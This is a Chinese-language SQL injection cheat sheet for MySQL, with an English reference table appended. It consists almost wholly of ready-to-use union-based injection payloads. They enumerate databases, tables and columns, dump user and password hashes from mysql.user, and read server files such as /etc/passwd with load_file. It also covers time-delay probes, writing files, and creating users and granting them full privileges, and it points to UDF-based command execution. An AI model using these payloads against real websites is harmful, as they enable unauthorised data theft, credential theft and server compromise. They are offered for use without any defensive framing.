查看mysql基本信息
and 1=2 union select 1,version() ----- 查看数据库版本
and 1=2 union select 1,database() ---- 查看当前使用的数据库
and 1=2 union select 1,user() ------查看当前数据库用户
and ord(mid(user(),1,1))=114 ------ 判断用户是否为root

暴字段内容
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名
and 1=1 union select 1,2
select * from db WHERE id= x and 1=1 Union select 1,2,3,4,5----------------

暴字段位置
and 1=2 union select 1,2
select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5----------------

暴数据库信息(有些网站不适用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*

暴操作系统信息：
and 1=2 union all select @@global.version_compile_os from mysql.user /*
and 1=2 union select 1,load_file(0x433a5c78616d70705c6874646f63735c696e6465782e68746d6c) --- C:\boot.ini

建议熟悉Mysql 默认数据库information_schema 中的表

[information_schema.SCHEMATA]    -------SCHEMA_NAME 所有数据库名

[information_schema.TABLES]      -------TABLE_NAME 所有表名
                                 -------TABLE_SCHEMA 数据库名

[information_schema.COLUMNS]     -------COLUMN_NAME 所有字段名
                                 -------TABLE_SCHEMA 数据库名

[查询所有库]  --------select SCHEMA_NAME from information_schema.SCHEMATA;
[查询所有表]  --------select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES;
[查询所有字段]--------select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 0x75736572

暴库
(mysql>5.0，5.0 以后的版本才有information_schema, information_schema，存储着mysql 的所有数据库和表结构信息
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 ---- 第一个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 ---- 第二个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 ---- 第三个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 ---- 第四个数据库
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4,4 ---- 第五个数据库

暴出所有库:
and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

暴表
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库名(十六进制) limit 0,1

and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 0,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 1,1
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 2,2
and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c limit 3,3

暴出所有表
and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x6d7973716c

暴字段
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表明(十六进制) limit 0,1

and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 0,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 1,1
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 2,2
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x75736572 limit 3,3

暴Mysql数据库user表
and 1=2 union select 1,group_concat(Host,User,Password) from mysql.user

Version	SELECT @@version

Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List Tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char	SELECT substr(‘abcd’, 3, 1); # returns c
Bitwise AND	SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii(‘A’); # returns 65

Avoiding Quotes	SELECT 0×414243; # returns ABC
Time Delay	SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access	…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address	SELECT @@hostname;
Create Users	CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete Users	DROP USER test1; — priv
Make User DBA	GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql
